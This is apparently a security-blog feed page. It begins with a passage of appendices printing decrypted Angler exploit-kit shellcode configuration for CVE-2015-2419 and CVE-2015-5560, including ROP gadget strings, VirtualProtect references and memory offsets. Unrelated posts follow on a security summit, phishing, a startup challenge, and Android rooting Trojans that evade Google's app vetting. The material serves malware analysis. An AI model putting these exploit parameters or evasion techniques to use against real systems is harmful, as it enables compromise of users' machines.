IlII":65,"llllIl":90,"IIIIlll":97,"lIlllII":122,"IIllII":16640,"llIIIlI":23040,"IlIlIII":4259840,"lIIlIIl":5898240,"IIlIIIl":1090519040,"IlIIlII":1509949440,"IllIIlI":32,"lIlIIl":8192,"IIlIIll":2097152,"lIIlllI":536870912,"llIlIIl":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix D. Decrypted Shellcode for the CVE-2015-2419 Vulnerability from the Traffic Dump of the Older Angler Version {"ll":"length","l":"charCodeAt","I":"fromCharCode","Il":"floor","IlI":"random","lI":"stringify","lII":"location","II":"host","llI":"number","lll":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","IIl":"ScriptEngineMinorVersion","Ill":"setInterval","III":"clearInterval","lIlI":"ur0pqm8kx","IlII":"http://","lllI":"/","lIIl":"u","IlIl":"x","llll":"xexec","Illl":"EAX","lIII":"ECX","IIIl":"EDI","IllI":"ESP","IIlI":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"CALL [EAX+4C]","llII":"MOV EDI,[EAX+90]","IIII":"a","lIll":"kernel32.dll","lIlll":"virtualprotect","IIIlI":11,"lIIll":0,"lllll":17905,"lIllI":500,"llIIl":16,"IlIII":0,"IIIll":1,"IIlII":2,"lIlII":3,"IllIl":4,"lllIl":5,"IIlll":8,"lIlIl":9,"lIIIl":10,"IllII":11,"lIIlI":12,"IlIll":16,"IIIIl":24,"IlIlI":100,"IIIII":1,"llIlI":2,"lllII":2147483647,"llIll":4294967295,"IIllI":255,"llIII":256,"lIIII":65535,"IIlIl":16776960,"IlIIl":16777215,"llllI":4294967040,"IlllIl":4294901760,"Illll":4278190080,"IlllI":65280,"llllIl":16711680,"lllIlI":19,"llIIII":4096,"IIIIIl":4294963200,"IIlllI":4095,"llIIlI":14598366,"IIllIl":48,"llIIll":32,"IIIllI":15352,"llIlll":85,"lIIIII":4096,"IllllI":400,"lIIlII":311296000,"IIIlIl":61440,"llllII":24,"IIIIll":32,"IlIlIl":17239,"lllllI":15,"IllIll":256,"llIllI":76,"lllIll":144,"lIlIIl":17416,"IlIIll":65536,"IIlIll":100000,"lIlllI":28,"IIlIlI":60,"lIlIII":44,"IIIlll":28,"IllIII":128,"lllIIl":20,"lIIIll":12,"lIlIlI":16,"IIlIIl":4,"IlIIIl":2,"lIllll":110,"IIIlII":64,"IllIlI":-1,"lIIIIl":0,"IllIlII":1,"lIIlll":2,"IlIlll":3,"IIlIII":4,"lIllIl":5,"IIllll":7,"IIIIII":9,"lIlIll":10,"IlllII":11,"lIllII":12,"Illlll":-2146823286,"lIIIlI":[148,195],"lIIlIl":[137,65,12,195],"IIllII":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IlIIII":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IIIIlI":48,"IIIlIlI":57,"lllIII":65,"IllIIl":90,"IlIlII":97,"llllll":122,"IlIllI":16640,"llIlIl":23040,"IlIIlI":4259840,"lIIIIlI":5898240,"llIIIl":1090519040,"llIIIII":1509949440,"IlIIIlI":32,"IIIlllI":8192,"lllllII":2097152,"IIIllll":536870912,"llIlII":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix E. Decrypted Shellcode for the CVE-2015-2419 Vulnerability from the Traffic Dump of the New Angler Version {"ll":"length","I":"charCodeAt","llI":"fromCharCode","Il":"floor","IIl":"random","l":"stringify","III":"location","II":"host","lI":"number","IlI":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","Ill":"ScriptEngineMinorVersion","lII":"ur0pqm8kx","lll":"http://","lIll":"/","lllI":"u","IlIl":"x","IIlI":"xexec","lIII":"EAX","Illl":"ECX","IIIl":"EDI","IllI":"ESP","lIIl":"POP EAX","llII":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"JMP EAX","IIII":"CALL [EAX+4C]","llll":"MOV EDI,[EAX+90]","lIlI":"a","llIll":"kernel32.dll","IlII":"virtualprotect","IIIlI":11,"lllll":0,"lIlIl":17905,"IIIII":500,"IlIll":16,"lIIlI":0,"IlllI":1,"IIllI":2,"lIIII":3,"IIIIl":4,"llIIl":5,"lIlII":8,"llIII":9,"llllI":10,"IlIII":11,"lllIl":12,"lIlll":16,"IlIIl":24,"lIllI":2147483647,"IIlll":4294967295,"IIIll":255,"IIlII":256,"llIlI":65535,"IIlIl":16776960,"lIIIl":16777215,"lIIll":4294967040,"IllII":4294901760,"IllIII":4278190080,"IlIlI":65280,"lllII":16711680,"Illlll":19,"IIIIIl":4096,"Illll":4294963200,"IllIl":4095,"IlIIll":14598366,"IIIIlI":48,"llIIlI":32,"IlIIIl":15352,"lIIIII":85,"llIlII":4096,"llllII":311296000,"IlIlII":61440,"IIlIll":24,"lllllI":32,"lllIll":17239,"IllIIl":15,"lIllll":256,"IIIlll":76,"IllIlI":144,"IIIIII":65536,"IIlllI":100000,"llIlll":28,"IIIlII":60,"llIlIl":44,"lIIIll":28,"IllllI":128,"IIllIl":20,"IlIlIl":12,"lIIIlI":16,"IlIllI":4,"llIIII":2,"llllll":110,"IlIlll":64,"IIIIll":-1,"lIlIII":0,"IIIllI":1,"lIIllI":2,"IlIIII":3,"IlllIl":4,"lllIII":5,"lIlllI":7,"lIIIIl":9,"lllIlI":10,"IllIll":11,"IIIlIl":12,"IIlIII":-2146823286,"llIIIl":[148,195],"lllIIl":[88,195],"IlIIlI":[137,65,12,195],"lIIlIl":[255,224],"IIllll":[255,80,76],"lIlIlI":[139,184,144,0,0,0],"IIlIlI":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IIlIIl":[76514,78206,169140,1564283,57653,92732,277930,57206,212281,94821,94789,140864,95448,95192,89830,133640],"lIllIl":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IlllII":[68393,159289,2065114,93035,78635,263996,90969,131279,116207,116175,67007,117999,117551,3965891,96438,107246],"llIIll":[54887,141400,75989,63764,1761036,68463,201153,1001000],"llIllI":[120559,120527,121839,120834,120386,119458,117442],"lIlIll":48,"lIIllll":57,"lIIlII":65,"llllIl":90,"IIIIlll":97,"lIlllII":122,"IIllII":16640,"llIIIlI":23040,"IlIlIII":4259840,"lIIlIIl":5898240,"IIlIIIl":1090519040,"IlIIlII":1509949440,"IllIIlI":32,"lIlIIl":8192,"IIlIIll":2097152,"lIIlllI":536870912,"llIlIIl":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix F. Decrypted Exploit and the Shellcode for the CVE-2015-5560 Vulnerability from the Traffic Dump of the New Angler Version {"IIl":"flash.utils.ByteArray","lIl":"flash.system.Capabilities","lII":"flash.utils.Endian","IlI":"","lI":"flash.display.BitmapData","Il":"51432096JhvTqLk896S","llI":"win ","II":"os","III":"toLowerCase","l":"toString","I":"version","ll":"playerType","lll":"substr","Ill":"split","IIll":"length","lIII":"activex","IllI":"plugin","IIIl":"windows 8","llll":"windows 8.1","lllI":"position","lIlI":"writeInt","IlIl":",","IIlI":"LITTLE_ENDIAN","llII":"endian","Illl":"writeUnsignedInt","lIll":"readUnsignedInt","IIII":"clear","IlII":"loadCompressedDataFromByteArray","llIl":"lock","IlIIl":"id3","IIIlI":"getPixel","lIIl":"setPixel","IIIII":"getPixel32","lIIII":"setPixel32","IlllI":"uncompress","IIlll":"eNrt3N9rV3Ucx … <gz compressed and base64 encoded exploit here> … SjU2nniwfHH/rsoZljfva+jo2777rP/nXvF8\u003d","lllII":40,"IllIl":0,"IlIII":1,"lIIlI":2,"lIlll":3,"lIlII":4,"lllIl":5,"lllll":6,"IIlIl":7,"llIIl":8,"llllI":9,"IIIll":10,"IllII":12,"IIllI":16,"llIlI":20,"lIIll":24,"lIIIl":32,"lIlIl":35,"Illll":36,"IlIlI":40,"IIlII":44,"IIIIl":48,"llIIII":56,"IlIll":60,"IlIlII":64,"IIlIIl":68,"IlIllI":88,"IIlIII":96,"lIIIII":700,"lIllIl":1000,"lIIlll":127,"llIlII":255,"lIIlII":65280,"lIlllI":4278190080,"IlIIII":4294901760,"lIIIll":4294967040,"llIlIl":16777215,"IIIlII":32639,"IllIll":2139062143,"lllllI":4096,"lIlIll":12582912,"IIllII":4,"IIIIlI":4293769918,"IIIIIl":4290706126,"lIIlIl":1073741824,"lllIlI":16384,"IIllll":16384,"IIIIll":2989,"IIlIlI":3133078208,"llIIll":65535,"lllIll":9460301,"Illlll":50068,"lIIIIl":3272131715,"llIIIl":4283498891,"IlIlIl":2128,"lIIllI":4096,"IIIIII":369054032,"IlIIIl":4096,"llllII":1778939391,"IlIIlI":50069,"IllIlI":50071,"lIIIlI":212,"llIIlI":4277009102,"IIIlll":4276992702,"llIllI":32,"IllllI":28,"IllIII":3435973836,"lllIII":1476,"IlllIl":4096,"IlIIll":4293844428,"llllll":283873424,"lIllll":1894496,"IIlllI":2337756701,"lllIIl":74485048,"IIIllI":1604691365,"llIlll":4236859486,"IIllIl":2425406301,"IIlIll":552308880,"IlllII":3401824,"IlIlll":1348534272,"IllIIl":232,"IIIlIl":3900921856,"IllllIl":2337756717,"IIlIIII":1888292984,"lIlIlI":2779096340,"lIlIIl":277569119,"lIlIII":2298759307,"IIlIIlI":1217073226,"IIIlIIl":340429064,"lIllII":1477208203,"IIlIlIl":2198889099,"llllllI":1660880068,"llIIlII":2425393172,"llllIl":840,"lIlIlII":16384,"IIIIlIl":4096,"IllllII":252,"IlllIIl":3072,"lllIIIl":104,"IIlIlII":4276992512,"IIllIIl":3133014222,"IlllIII":117700202,"lIIIlIl":130000305,"lIlIllI":130000309,"IIIllII":180000209,"llllIIl":448,"lIllllI":16384,"lllllIl":1447244336}

Our Fifth Latin American Security Analysts Summit in Santiago de Chile

Malware Alerts - Thu, 09/03/2015 - 06:35

Another memorable installment of the Latin American Security Analysts Summit has come and gone! This time it was held in the exquisite city of Santiago de Chile, where journalists from all over the region were greeted by Kaspersky Lab’s research team for two full days of knowledge and a little bit of leisure. This fifth edition of the conference was undoubtedly special for everyone thanks to a keynote delivered by our own Eugene Kaspersky, presenting on not only the current global threat landscape but also what the future holds for us when it comes to cybersecurity. The ‘Internet of Threats’ instantly caught the attention of the crowd, revealing the flipside of the coin of technological innovation: more and more devices are connected, but are they secure? Do companies really have an incentive to spend their time and money on security features before competitors beat them to the marketplace?

Despite pisco sour-fueled reception the night before, everyone still managed to look alive the first day and the venue was ready to accommodate more than thirty representatives from all over the region. The fifth edition of our regional summit celebrated in Santiago de Chile joined 34 journalists from 11 countries which participated in the two-day long conference. More than 80 interviews took place. In addition to top tier IT, general interest and business media from key markets in the region, we had the participation of international news wires such as EFE and Reuters. Media from the following countries participated: Argentina, Brasil, Chile, Colombia, Costa Rica, Guatemala, México, Paraguay, Perú, USA, and Venezuela. Attendees were eager to get an overview of the current regional situation, an expectation clearly met by Dmitry Bestuzhev’s presentation on our regional threat landscape. An interesting distinction was made between malware targeting home users and malware targeting companies, showing that not all threats are conceived with the same target in mind. The increase in mobile malware and the high percentage of OSX malware detections raised eyebrows, reinforcing the perception that no one is inherently safe from malware. It’s a numbers game and cybercriminals will shift their focus in a heartbeat if they think they can monetize their creations more swiftly on another platform.

Carlos Alvarez, a special guest from the non-profit organization ICANN, shared with us the importance of the DNS protocol nowadays and more so when we are on the verge of adopting IPv6 at a global scale. Maintenance of the root DNS servers has the clear intent of ensuring the network’s stable and secure operations, all the while allowing us to type convenient and memorable domain addresses instead of a set of dot-separated numbers that mean little to most of us. With that idea still fresh in our minds, brazilian Senior Security Researcher Fabio Assolini shared his investigations regarding modern financial threats that employ DNS hijacking and poisoning attacks. Every device in our home is connected through a modem or router provided by our ISP but what happens when this device is vulnerable to DNS hijacking? Fabio showed how a cybercriminal could change the device’s DNS settings to redirect the traffic to DNS servers under his control. Compromising one simple internet routing device seemed enough to get control of every little IoT gadget connected through it. What then when this is done at ISP-level?

Eugene Kaspersky’s keynote showed the harsh reality of cybersecurity, one where a silver bullet is simply not feasible but gladly we’ve already seen the worst type of threats envisioned for years to come. Organized cybercrime is a reality and it’s why Kaspersky Lab’s collaboration with international law enforcement agencies such as Europol and Interpol is so important nowadays. Cybercrime doesn’t know about frontiers and if we want to keep the bad guys at bay the cyber police needs to work globally and in conjunction with private companies that have the knowledge and expertise to provide them with the necessary information to advance their investigations. It was a thought-provoking speech, that set the right mood in the audience for what was yet to come in this first day of talks.

My colleague and fellow researcher Juan Andrés Guerrero-Saade was warmly welcomed by a great number of journalists after he announced the topic for his presentation ‘Journalists: targets of cyberespionage’. Leaving the academic format at the door, this presentation enticed all attendees to realise why they might pose an interesting target for cyberspies and taught them how to protect themselves from these attacks in a workshop-style manner. Demonstrating a wide range of tools to protect communications and the endpoint, the right equilibrium between security and convenience was discussed at length with custom-tailored content aimed for our regional attendees. It is a new world, and journalists usually deal with critical information that can get them in trouble if they don’t apply adequate procedures in protecting their online activities.

Appealing to popular wisdom, Mexican Security Researcher Roberto Martinez appeared on scene with a live demo of the security risks involved in trusting all your security to this new wave of internet-connected devices. With a bluetooth lock, he showed how a simple phishing attack could literally open the door for you to meet cybercriminals in real life. In addition, a myriad of possibilities is opened when we analyze the protocols which are used in these devices and how our entire life is uploaded to the cloud. Do you share your comings and goings with everyone else? In the near future, you just might…

Finally it was my turn to present on the state of ransomware. I was met with surprised looks from the audience when I began with a ransomware sample from 1989. The problem itself is not new, but has instead been dormant for many years only to be awakened but our latest improvements in the areas of cryptocurrencies and anonymous networks. The rise in the number of detections in ransomware (65% from 2014 to Q1 2015) demonstrates that this malware family is here to stay and we have only seen the beginning. My predictions of more ransomware targeting mobile and IoT devices was met with sad faces as I mentioned that in the near future ransomware just might lock you out of your fridge (and your iced beverage of choice) or disappoint you as you’re about to leave for work in your latest connected smart car. Right now, the threat is extremely visible in desktop environments, as too many campaigns are wreaking havoc at this time. Once again, collaboration between private companies and law enforcement may be the only way to go. As in the case of CoinVault which showed that Kaspersky’s joint effort with NHCTU yielded positive results for thousands of users who were able to recover their files thanks to our freely available decryption tool, which employs the keys seized and provided by the police.

The closing presentation was given by Dmitry Bestuzhev, this time delving into the depths of mobile implants. These devious creations have evolved into true artifacts of cyberespionage, intercepting communications of all types and being used as tracking devices by malicious campaigns. With the ubiquity of mobile phones and our extensive dependency upon them, we could carry our own pocket-sized worst enemy, inadvertently bringing a recording device into the discussion of sensitive topics. Even though many such implants exist for the Android operating system, we were taken on a tour of other ecosystems thus revealing that if a target is worth the investment an implant will be made.

But of course, all work and no play makes Jack a dull boy, so that’s why a tour to the ‘Cerro San Cristobal’ and the long awaited visit to ‘Estancia El Cuadro’ presented a comfortable and laid-back environment to discuss cybersecurity topics while learning about Chilean culture and enjoying a nice rodeo show with the characteristic ‘huasos’ at centerstage. The summit is a truly unforgettable experience that only gets better each year, and as we look forward to the sixth edition of our regional conference, we can only say… gracias Chile and I hope you can join us next time!

TGIF(P) – Thank god it’s fried phish

Malware Alerts - Thu, 09/03/2015 - 01:41

There is that expression “TGIF” and I recently noticed that some of my Japanese colleagues/friends would not know what it actually stands for.

Spoiler: It commonly means “Thank god it’s Friday” and probably many working people will be able to appreciate such a feeling.

On the other hand, while many offices may close down for the weekend, it’s the time for bad guys to boost their activity because they count on the fact that they may go unnoticed for some time, at least until the upcoming Monday morning.

The IT community is working hard to find and take down malicious sites as soon as possible, but then … the weekend is the weekend for many.

What happened just last Friday may be a good example of such malicious weekend activity. We received the following email to one of our inboxes:

The email body utilizes some social engineering in order to scare the email receiver about possible loss of emails. It also somehow mentions “high massage” but that may just be a spelling error on the bad guy’s side.

When we click the contained link (which is, of course, one of those “don’t do this at home” things), we see the following:

After clicking “OK”, we get a popup which looks very much like the popup of a Microsoft email client. Note that it is quite well crafted, containing the domain name of the email receiver several times.

When we input some data into that form, we get this:

Again, it looks well crafted, containing the domain name several times, and even including a copyright notice.

To top it all, that page contains functionality to search the web for the mentioned domain name and finally directs the user’s browser to the search result:

The above content may not seem too convincing to an average home user. This phish seems more likely to target corporate users, as the style of the information shown above mimics the corporate environment very well.

However, attentive users may spot the following details which give away the fake:

  1. Email sender à mismatching the domain name;
  2. “Hello User” à is probably not commonly used to address staff;
  3. All clickable links in the email body point to the same location;
  4. Spelling mistakes like “massage”;

We have added the malicious site to our anti-phishing blacklist.


Browse With Encryption

SANS Tip-of-the-Day - Mon, 08/31/2015 - 21:36
When browsing online, encrypting your online activities is one of the best ways to protect yourself. Make sure your online connection is encrypted by making sure HTTPS is in the website address and that there is a green lock next to it.

Taking A Break From Research To Accelerate Startups: SSC 2015

Malware Alerts - Mon, 08/31/2015 - 08:02

How would you describe the best job in the world of security research? Would it be to work at the forefront of security research, diving into the bits and bytes of advanced malware and global threats, or to have a versatile job that can take you anywhere in the world.
Well – at Kaspersky Lab, and specifically in GReAT, you have both!

I’m a man of security and martial arts. I’ve had my share of both, and still have a lot to learn. While both are exciting and fulfilling, there is nothing greater than giving without expecting to get anything in return. Volunteering, in general, is something I personally put as one of the top priorities, but I have never had the chance to volunteer in a way that makes the world tick. One amazing opportunity to take a break from the day to day activities of hunting malware trends is exactly that.

I met Oleg Ishanov, former VP of our company, at the very beginning of what was called the Security Startup Challenge 2015. It was sunny in Jerusalem, the weather was fantastic and the Hebrew University became a host for security startups from all around Israel. We’ve seen amazing ideas and together we decided that I should join the team of mentors and set sail on a journey I never thought possible.

Participation badge at the SSC finals, MIT, Boston MA

On January 10th of this year, a mailbox started filling up with incoming requests to join one of the most exciting programs existing to-date in the world of security. The security giant Kaspersky Lab launched its lavish acceleration program and a team of mentors, including myself, took their seats on the front row, waiting for the most brilliant and innovative minds to take the stage and convince us that they deserve a spot in the Bootcamp. As the program continued, we found ourselves searching for startups who hadn’t even applied. Some of them came as an audience and stayed as competitors: and some of them even came only with a wild idea in their minds and made it all the way to the finals with their prototype all running! It was incredible.

From this moment on, a journey took place around the world. Kaspersky experts, mentors and other parties met the startups in their homelands and tried to understand whether they were acceleration program material or not.

As I mentioned earlier, first up was Israel. We met at the Hebrew University in Jerusalem. The weather was great and the hall was full of anxiety, excitement and the warm feeling of standing under the wings of the eagle in the sky of security – Kaspersky Lab. Jerusalem was just the beginning. After it the team visited Berlin, San Francisco, Moscow and, last but not least, Singapore.

From Jerusalem to Singapore – SSC first round

For almost 3 months, hundreds of startups took their shot at impressing the team and qualify for the program, but only 40 made it.  And in May the list was closed and the 40 received an announcement that they were part of the bootcamp. As far as what some of them told me, it was an unforgettable moment. Although it took place after they had already met with some of the mentors, it was as if the journey had just started. Luxembourg was the next checkpoint; and while waiting for this bootcamp to begin, every 4-6 startups were assigned to one of the mentors, as a tracker. The tracker’s role was to track the decision makers and make sure they were making smart choices, and even to join the brainstorming to evaluate all other options beforehand.

Joining decision makers of a small startup and understanding their way of thinking is not an easy task. It is rather challenging to inspect the situation and analyze the decisions in real-time, assuring them that you have alternatives to offer.

As a tracker, I felt that the startups assigned to me had unique characteristics. Not one of them had an equivalent market. Medical security, social privacy, security through gamification and cyber assurance are all very divergent markets. They were still in the early stages, which meant that every day for them mattered, every decision was inspected to its root cause and future results, and every line of code was thought over in advance, to make sure we were prioritizing properly.

Startups were mostly caught up between marketing, branding, improving their technology and getting the interest of VCs and new leads, but I also found some who really struggled to understand if they are actually what they claim to be or should they pivot. Pivoting in general is not a bad thing, however it should be done with care and after the founders considered all other options before making any radical decisions.

Other startups had problems leaving their jobs and start full time; this is, without a doubt, one of the first things VCs are looking for – commitment. Another case that surprise me must was startups who rely on early acquisition and some of them are even confident in their decision to make their solution completely free.
The world of the startups is fascinating and full of surprises. One day is never similar to the next. You keep shifting and adjusting, tossing sketches and starting from scratch. As a tracker, you’re witnessing all that.

To The Bootcamp, And Beyond.

Every startup had to follow the program’s demands and present its progress every week in a Skype/Face2Face meeting with the mentors, called a board meeting (BM).
These meetings were a tool for the mentors to test the founders in real-time, ask questions and listen to a 20-minute speech which was followed by a strict presentation of nothing but facts. This analysis was enough for the mentors to grade each startup from a level of 1-10, and add relevant feedback for later assignments. Those who received the highest scores qualified to the next week of the bootcamp, and finally to the finals.

Bootcamp summary from PwC offices in Luxembourg

The bootcamp turned 40 startups into 11 finalists and after several weeks the announcement was made public. The startups who made it to the finals in Boston had to make sure they had everything prepared as they were about to attend a week of intense competition that included, among the rest our judges, doctors and professors of the institute where the finals took place – the Massachusetts Institute of Technology, also known as MIT.

The finalists were: Re-Sec, Excalibur, Pipe, ZeroDB, DriveWare, Security In Motion, SiteSecure, CTF365, Whispeer, Crypho and Keygo.

The finals took four days in total and the startups were crunched in a little room in E50 building’s 4th floor. The old brick building may seem quiet on the outside, but one specific room was full of innovative, forward-looking and mostly brilliant minds, which I personally admire.

4th floor, E50 building, MIT – Finalists listen to Sharon’s (SecInMotion) pitch

Three days went by fast as the startups were working non-stop. They practiced their pitch with Angelika Blendstrup and Gigi Wang, were tutored by Professor Stuart Madnik on how startups should approach CISO/CSO and finally had a session with me and my tennis balls, including a nice story on how I started juggling.

A Session With Me And My Tennis Balls

The third day was an absolute thrill. I had the opportunity of having a comic session with all the participants. The word ‘tennis’ is (and was in the session) in light grey, since the idea was to break the ice before the big finale. We sat in a semicircle and three tennis balls were virtual links I used in order to allocate questions to the founders who answered them. A program was running in the background of my laptop, displaying the acceleration program-related questions on a projector screen, and a one minute timer counting the allocated time to answer each one. Each time 10 seconds were left on the timer, I tossed the ball to a person in the circle to get ready for the next question. After breaking the ice, we all sat together and talked about every subject that rose to the surface.

My next talk was on the day after; a speech that was combined with moderating the final keynote pitches of each startup, right before the big announcement about the winners. At 10AM of the final day, Christel had opened the day with moderating the 5-minute pitch which included questions from the audience. First row were our judges from MIT – Prof. John R. Williams, Associate Prof. Nickolai Zeldovich, Mr. Michael Coden, Prof. Stuart Madnick and Dr. Abel Sanchez.

Since it’s the last day we had to first pick the winners – without question a tough decision to make!
It was a complete honor to sit side by side with them and share thoughts on the final winners. It was also tough to convince them which one deserved the better chance.
We picked the top five and started moving from there towards the top 3.
It came to a point where each one of the judges and mentors had his favorite startup and was not about to give up on it. Judges from MIT decided to make a surprising move and announced two startups as “Honorable Mention”, which is a much respected rank from MIT and will gain the startups who won it (Whispeer and CTF365) the media coverage they need and the opportunity to accomplish a big step forward in penetrating their market.

As the sun set on the final day, the view from the 6th floor of the media lab building was stunning. The Charles River that splits Cambridge from Boston is a view from the building’s wooden balcony that you can’t ignore.

Next up was Natalya Obelets, Deputy Head Of Education Initiatives and Christopher Doggett, Managing Director of Kaspersky Lab North America. Keynotes were done and it was my time to take my place.

The view from the balcony in MIT Media Lab

Warm up story and we’re off

In almost every speech I give I try to bring a personal story to wrap the main idea of what I’m about to deliver to the audience. This time I thought about creating a presentation, but an incident with my older daughter in the hotel pool changed my mind and I decided to go freestyle.

At first I had to speak about what had happened. My daughter, who waited for me in the hotel room with her sister and mother every day, was excited to see me coming back to lunch break on the last day. She reminded me that I had promised to take her to the pool. I changed in to my swimsuit quickly, as all the startup founders and mentors were still busy with the finals, and rushed to the pool. She was so excited that she almost drowned in one of her jumps in to the water, while I was floating around deep in thought about my speech. That was the moment when I knew I needed to speak about mistakes.

Security Startup Challenge day of announcements

The people in the front row of the room had hundreds of years of experience, while professors from MIT were gazing at the big screen TV that had nothing but the SSC logo on it. I started talking about mistakes. Why are they so important? Isn’t it obvious? Well, for some of us, expectations are so big that we forget to remember the experience we gain in the privilege of making mistakes. Everyone makes them; it’s inevitable and is the most basic factor that differentiates us from a machine. I was mostly sharing experience from the program, rather than speaking about generic mistakes. One startup, for example, wanted to penetrate its market in Singapore. They struggled their way through middle-men who were after their money rather than their success. “Surprise, surprise”, I told them – we have here startups from Singapore, why not just sit together and bridge this gap without the middle-men?
They acted like a train with no stops – one source, one destination. But the answer lay under their noses. Others made mistakes in how they presented their startup to the board, and some made mistakes around prioritizing tasks.

Speaking at the finals – freestyle about mistakes and how to embrace them

In a three- minute freestyle pitch, each startup had to present, for the last time, its agenda, before major people that had come to the event specifically to meet their next investment. MIT also hosted TV crews and interviewed each founder for local and external publications.

We’ve seen a lot during the program and learned as we went. The most important idea was to keep it simple. Open your mind and make sure you have all the options laid on the table. Research, consult, decide, act, analyze results and prioritize interactions – and never forget to smile while doing each of the above! We are here for the journey as well, not only for the goal.

With that in mind, I passed the mic to my colleagues and we continued with some word of advice to consider as a startup and when joining such a program. We got amazing feedback from startups, ground teams and judges from MIT. I would like to acknowledge my team of mentors for having me on board this journey and giving me the opportunity of influencing the world of security in such way that is most crucial today – innovation.

Team Of Mentors & Education: Oleg Ishanov, Eugene Barulin, Nickolai Mityushin, Ilya Antipov, Ilya Kuznetsov, Alena Gilevskaya, Veniamin Ginodman, Natalya Obelets and Christel Gampig-Avila.

Security Startup Challenge 2015 Winners: Excalibur, Pipe, ZeroDB & DriveWare

I hope to see each one of the startups become a successful business, a market game changer and a role model to learn from. It was a pure privilege working with them.
I also wish all the best to the winners. And we hope to see new innovations and brilliant minds in the next program.

Taking root

Malware Alerts - Thu, 08/27/2015 - 05:54

Since June 2015, we have seen a steady growth in the number of mobile malware attacks that use superuser privileges (root access) on the device to achieve their goals.

Root access is incompatible with the operating system’s security model because it violates the principle that applications should be isolated from each other and from the system. It gives an application using root access a virtually unlimited control of the device, which is completely unacceptable in the case of a malicious application.

Malicious use of superuser privileges is not new in itself: in regions where smartphones are sold with privilege escalation tools preinstalled on them, malware writers have long been using this technique. There are also known cases of Trojans gaining such privileges after the user ‘rooted’ the device, i.e. used vulnerabilities to install applications that give superuser privileges on the phone.

However, the malware described in this post gains root privileges on its own, with the device owner having no idea that there is an application with superuser rights on the phone.

How it works

We analyzed the statistics we had collected from May to August 2015 and identified three main Trojan families that use root privileges without the user’s knowledge: Trojan.AndroidOS.Ztorg, Trojan-Dropper.AndroidOS.Gorpo (which operates in conjunction with Trojan.AndroidOS.Fadeb) and Trojan-Downloader.AndroidOS.Leech. All these mobile malware families can install programs; their functionality is in effect limited to providing the capability to download and install any applications on the phone without the user’s knowledge.

A distinctive feature of these mobile Trojans is that they are packages built into legitimate applications but not in any way connected with these applications’ original purpose. Cybercriminals simply take popular legit apps and add malicious code without affecting the main functionality.

After launching, the Trojan attempts to exploit Android OS vulnerabilities known to it one after another in order to gain superuser privileges. In case of success, a standalone version of the malware is installed in the system application folder (/system/app). It regularly connects to the cybercriminals’ server, waiting for commands to download and install other applications. Since subsequent behavior of the malware varies by family, we discuss each of the families separately below.

Fadeb and Gorpo families

It should first be explained why we say that these two families work in conjunction with each other. An analysis of their code has shown that both malicious programs are based on the same framework, with identical methods for hiding strings used in their code. Functionally, Trojan.AndroidOS.Fadeb is responsible for downloading and installing files, while Trojan-Dropper.AndroidOS.Gorpo obtains escalated privileges on the device and then installs Fadeb in /system/app under the name LauncherXXXX.apk. Older versions of Trojan.AndroidOS.Fadeb worked on a ‘standalone’ basis and depended on the su file, installed either by the manufacturer or by the user, being present on the device.

Trojans from these two families are found on inexpensive smartphones – as packages built into popular applications, such as Twitter, Facebook, various launchers, etc. An analysis of infected devices’ firmware has shown that applications that include malicious code are not supplied by the phone manufacturer. The users themselves did not install these applications in standard ways, either. We believe that these applications may have been installed by third parties before the devices reached the users. These could be small private shops that try to install as many applications on devices as possible to make customers happy but use unsafe software sources without performing any security scans of the files they download.

We came up with this theory after studying various websites and user forums where users described cases of devices being infected without their knowledge and Trojans being found on newly-purchased devices.




The list of infection sources does not end there: sometimes users themselves downloaded these Trojans from unofficial app stores. According to our statistics, the most popular infected applications were:

  • com.leo.appmaster
  • cn.cleanmaster.mguard
  • com.apusapps.launcher
  • cc.taosha.beautify.easylocker
  • cc.taosha.toolbox.shareit
Leech family

This malware family is the most advanced of those described in this post: some of its versions can bypass dynamic checks performed by Google before applications can appear in the official Google Play Store. Malware from this family can obtain (based on device IP address, using a resource called a range of data, including country of registration, address, and domain names matching the IP address. Next, the Trojan checks whether the IP address is in the IP ranges used by Google:

  • –
  • –
  • –
  • –
  • –

If the IP address is in one of the above ranges, the malware terminates.

The domain names matching the device’s IP address were also checked for the presence of the following strings: “android”, “google” and “1e100″ (a service used by Google internally; its name is the mathematical formula for the number googol). In this way, the Trojan checks whether the infected device is on Google’s corporate network. This is necessary in order to pass the dynamic tests required before an application can be made available in Google Play app store. When Leech detects that it is on the Google network, this means that it is undergoing a check of this kind, so it terminates.

The malware also uses a dynamic code loading technique, which involves downloading all critically important modules and loading them into its context at run time. This makes static analysis of the application difficult. As a result of using all the techniques described above, the Trojan made it to the official Google Play app store as part of an application named “How Old Camera” – a service that attempts to guess people’s ages from their photos.

As we can see, the app appeared on May 22, 2015, at the peak of popularity enjoyed by a similar Microsoft service. At the time it was removed from Google Play (June 10, 2015), its number of registered installations was in the range from 100,000 to 500,000, which is a lot, particularly in view of the danger posed by the app. A package with the Trojan was also embedded in other popular legitimate applications, such as apps for downloading videos from YouTube or for installing live wallpapers.

After successfully gaining superuser privileges, Leech installs another application to /system/app folder, in addition to its own standalone version. It is an app named “com.sync.sms”, which is detected by Kaspersky Lab products as Trojan.AndroidOS.Guerilla.a. This Trojan carries out aggressive advertising campaigns for other applications. The campaigns include displaying advertising in the status bar, in third-party applications, as well as downloading and installing applications (including the ability to download apps from Google Play) and displaying any interactive elements on the device’s screen.

